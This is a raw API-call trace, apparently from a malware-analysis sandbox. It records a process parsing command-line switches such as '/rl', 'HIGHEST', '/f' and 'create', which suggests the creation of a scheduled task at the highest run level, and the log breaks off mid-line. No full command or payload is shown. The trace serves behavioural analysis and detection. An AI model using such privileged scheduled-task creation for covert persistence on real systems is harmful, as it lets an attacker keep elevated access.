[0121.574] lstrlenW (lpString="rp") returned 2 [0121.574] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.574] lstrlenW (lpString="rl") returned 2 [0121.574] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.574] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.574] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.574] lstrlenW (lpString="|rp|") returned 4 [0121.574] lstrlenW (lpString="|rl|") returned 4 [0121.575] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0121.575] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.575] lstrlenW (lpString="sc") returned 2 [0121.575] lstrlenW (lpString="sc") returned 2 [0121.575] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.575] lstrlenW (lpString="rl") returned 2 [0121.575] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.575] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.575] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.575] lstrlenW (lpString="|sc|") returned 4 [0121.575] lstrlenW (lpString="|rl|") returned 4 [0121.575] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0121.575] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.575] lstrlenW (lpString="mo") returned 2 [0121.575] lstrlenW (lpString="mo") returned 2 [0121.575] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.575] lstrlenW (lpString="rl") returned 2 [0121.575] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.575] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|mo|") returned 4 [0121.575] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.575] lstrlenW (lpString="|mo|") returned 4 [0121.575] lstrlenW (lpString="|rl|") returned 4 [0121.575] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0121.575] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.575] lstrlenW (lpString="d") returned 1 [0121.575] lstrlenW (lpString="d") returned 1 [0121.576] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|d|") returned 3 [0121.576] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.576] lstrlenW (lpString="|d|") returned 3 [0121.576] lstrlenW (lpString="|rl|") returned 4 [0121.576] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.576] lstrlenW (lpString="m") returned 1 [0121.576] lstrlenW (lpString="m") returned 1 [0121.576] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|m|") returned 3 [0121.576] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.576] lstrlenW (lpString="|m|") returned 3 [0121.576] lstrlenW (lpString="|rl|") returned 4 [0121.576] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.576] lstrlenW (lpString="i") returned 1 [0121.576] lstrlenW (lpString="i") returned 1 [0121.576] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|i|") returned 3 [0121.576] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.576] lstrlenW (lpString="|i|") returned 3 [0121.576] lstrlenW (lpString="|rl|") returned 4 [0121.576] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.576] lstrlenW (lpString="tn") returned 2 [0121.576] lstrlenW (lpString="tn") returned 2 [0121.576] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.576] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tn|") returned 4 [0121.576] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.577] lstrlenW (lpString="|tn|") returned 4 [0121.577] lstrlenW (lpString="|rl|") returned 4 [0121.577] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0121.577] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.577] lstrlenW (lpString="tr") returned 2 [0121.577] lstrlenW (lpString="tr") returned 2 [0121.577] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|tr|") returned 4 [0121.577] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.577] lstrlenW (lpString="|tr|") returned 4 [0121.577] lstrlenW (lpString="|rl|") returned 4 [0121.577] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0121.577] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.577] lstrlenW (lpString="st") returned 2 [0121.577] lstrlenW (lpString="st") returned 2 [0121.577] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|st|") returned 4 [0121.577] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.577] lstrlenW (lpString="|st|") returned 4 [0121.577] lstrlenW (lpString="|rl|") returned 4 [0121.577] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0121.577] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.577] lstrlenW (lpString="sd") returned 2 [0121.577] lstrlenW (lpString="sd") returned 2 [0121.577] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.577] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sd|") returned 4 [0121.577] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.577] lstrlenW (lpString="|sd|") returned 4 [0121.577] lstrlenW (lpString="|rl|") returned 4 [0121.578] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0121.578] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.578] lstrlenW (lpString="ed") returned 2 [0121.578] lstrlenW (lpString="ed") returned 2 [0121.578] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ed|") returned 4 [0121.578] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.578] lstrlenW (lpString="|ed|") returned 4 [0121.578] lstrlenW (lpString="|rl|") returned 4 [0121.578] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0121.578] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.578] lstrlenW (lpString="it") returned 2 [0121.578] lstrlenW (lpString="it") returned 2 [0121.578] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|it|") returned 4 [0121.578] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.578] lstrlenW (lpString="|it|") returned 4 [0121.578] lstrlenW (lpString="|rl|") returned 4 [0121.578] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0121.578] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.578] lstrlenW (lpString="et") returned 2 [0121.578] lstrlenW (lpString="et") returned 2 [0121.578] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.578] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|et|") returned 4 [0121.578] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.578] lstrlenW (lpString="|et|") returned 4 [0121.578] lstrlenW (lpString="|rl|") returned 4 [0121.578] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0121.579] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.579] lstrlenW (lpString="k") returned 1 [0121.579] lstrlenW (lpString="k") returned 1 [0121.579] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|k|") returned 3 [0121.579] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.579] lstrlenW (lpString="|k|") returned 3 [0121.579] lstrlenW (lpString="|rl|") returned 4 [0121.579] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.579] lstrlenW (lpString="du") returned 2 [0121.579] lstrlenW (lpString="du") returned 2 [0121.579] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|du|") returned 4 [0121.579] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.579] lstrlenW (lpString="|du|") returned 4 [0121.579] lstrlenW (lpString="|rl|") returned 4 [0121.579] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0121.579] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.579] lstrlenW (lpString="ri") returned 2 [0121.579] lstrlenW (lpString="ri") returned 2 [0121.579] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.579] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ri|") returned 4 [0121.579] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.579] lstrlenW (lpString="|ri|") returned 4 [0121.579] lstrlenW (lpString="|rl|") returned 4 [0121.579] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0121.579] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.579] lstrlenW (lpString="z") returned 1 [0121.579] lstrlenW (lpString="z") returned 1 [0121.580] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|z|") returned 3 [0121.580] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.580] lstrlenW (lpString="|z|") returned 3 [0121.580] lstrlenW (lpString="|rl|") returned 4 [0121.580] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.580] lstrlenW (lpString="f") returned 1 [0121.580] lstrlenW (lpString="f") returned 1 [0121.580] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.580] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.580] lstrlenW (lpString="|f|") returned 3 [0121.580] lstrlenW (lpString="|rl|") returned 4 [0121.580] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.580] lstrlenW (lpString="v1") returned 2 [0121.580] lstrlenW (lpString="v1") returned 2 [0121.580] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|v1|") returned 4 [0121.580] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.580] lstrlenW (lpString="|v1|") returned 4 [0121.580] lstrlenW (lpString="|rl|") returned 4 [0121.580] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0121.580] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.580] lstrlenW (lpString="xml") returned 3 [0121.580] lstrlenW (lpString="xml") returned 3 [0121.580] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.580] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x6, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|xml|") returned 5 [0121.581] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.581] lstrlenW (lpString="|xml|") returned 5 [0121.581] lstrlenW (lpString="|rl|") returned 4 [0121.581] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] lstrlenW (lpString="ec") returned 2 [0121.581] lstrlenW (lpString="ec") returned 2 [0121.581] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.581] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.581] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ec|") returned 4 [0121.581] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.581] lstrlenW (lpString="|ec|") returned 4 [0121.581] lstrlenW (lpString="|rl|") returned 4 [0121.581] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] lstrlenW (lpString="rl") returned 2 [0121.581] lstrlenW (lpString="rl") returned 2 [0121.581] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.581] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.581] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.581] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rl|") returned 4 [0121.581] lstrlenW (lpString="|rl|") returned 4 [0121.581] lstrlenW (lpString="|rl|") returned 4 [0121.581] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] lstrlenW (lpString="HIGHEST") returned 7 [0121.581] lstrlenW (lpString="-/") returned 2 [0121.581] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.581] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.582] lstrlenW (lpString="HIGHEST") returned 7 [0121.582] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0121.582] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.582] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.582] _memicmp (_Buf1=0x27bec40aa50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.582] lstrlenW (lpString="HIGHEST") returned 7 [0121.582] lstrlenW (lpString="HIGHEST") returned 7 [0121.582] lstrlenW (lpString=" \x09") returned 2 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0121.582] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0121.582] GetLastError () returned 0x0 [0121.582] lstrlenW (lpString="HIGHEST") returned 7 [0121.582] lstrlenW (lpString="HIGHEST") returned 7 [0121.582] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.582] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.582] lstrlenW (lpString="/f") returned 2 [0121.582] lstrlenW (lpString="-/") returned 2 [0121.582] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0121.582] lstrlenW (lpString="create") returned 6 [0121.582] lstrlenW (lpString="create") returned 6 [0121.582] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.582] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.582] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x9, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|create|") returned 8 [0121.582] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.582] lstrlenW (lpString="|create|") returned 8 [0121.582] lstrlenW (lpString="|f|") returned 3 [0121.582] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0121.582] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.583] lstrlenW (lpString="?") returned 1 [0121.583] lstrlenW (lpString="?") returned 1 [0121.583] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|?|") returned 3 [0121.583] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.583] lstrlenW (lpString="|?|") returned 3 [0121.583] lstrlenW (lpString="|f|") returned 3 [0121.583] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0121.583] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.583] lstrlenW (lpString="s") returned 1 [0121.583] lstrlenW (lpString="s") returned 1 [0121.583] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|s|") returned 3 [0121.583] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.583] lstrlenW (lpString="|s|") returned 3 [0121.583] lstrlenW (lpString="|f|") returned 3 [0121.583] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0121.583] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.583] lstrlenW (lpString="u") returned 1 [0121.583] lstrlenW (lpString="u") returned 1 [0121.583] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.583] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|u|") returned 3 [0121.583] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.583] lstrlenW (lpString="|u|") returned 3 [0121.583] lstrlenW (lpString="|f|") returned 3 [0121.584] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0121.584] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.584] lstrlenW (lpString="p") returned 1 [0121.584] lstrlenW (lpString="p") returned 1 [0121.584] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|p|") returned 3 [0121.584] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.584] lstrlenW (lpString="|p|") returned 3 [0121.584] lstrlenW (lpString="|f|") returned 3 [0121.584] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0121.584] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.584] lstrlenW (lpString="ru") returned 2 [0121.584] lstrlenW (lpString="ru") returned 2 [0121.584] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|ru|") returned 4 [0121.584] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.584] lstrlenW (lpString="|ru|") returned 4 [0121.584] lstrlenW (lpString="|f|") returned 3 [0121.584] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0121.584] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.584] lstrlenW (lpString="rp") returned 2 [0121.584] lstrlenW (lpString="rp") returned 2 [0121.584] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.584] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|rp|") returned 4 [0121.584] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.584] lstrlenW (lpString="|rp|") returned 4 [0121.584] lstrlenW (lpString="|f|") returned 3 [0121.585] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0121.585] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.585] lstrlenW (lpString="sc") returned 2 [0121.585] lstrlenW (lpString="sc") returned 2 [0121.585] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|sc|") returned 4 [0121.585] _vsnwprintf (in: _Buffer=0x27bec40a930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x7c8527c6d8 | out: _Buffer="|f|") returned 3 [0121.585] lstrlenW (lpString="|sc|") returned 4 [0121.585] lstrlenW (lpString="|f|") returned 3 [0121.585] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0121.585] RtlRestoreLastWin32Error () returned 0x7c85137000 [0121.585] lstrlenW (lpString="mo") returned 2 [0121.585] lstrlenW (lpString="mo") returned 2 [0121.585] _memicmp (_Buf1=0x27bec403930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _memicmp (_Buf1=0x27bec40aaf0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0121.585] _vsnwprintf (in: _Buffer=0x27bec403950, _BufferCount=0x5, _Format="|%s|", 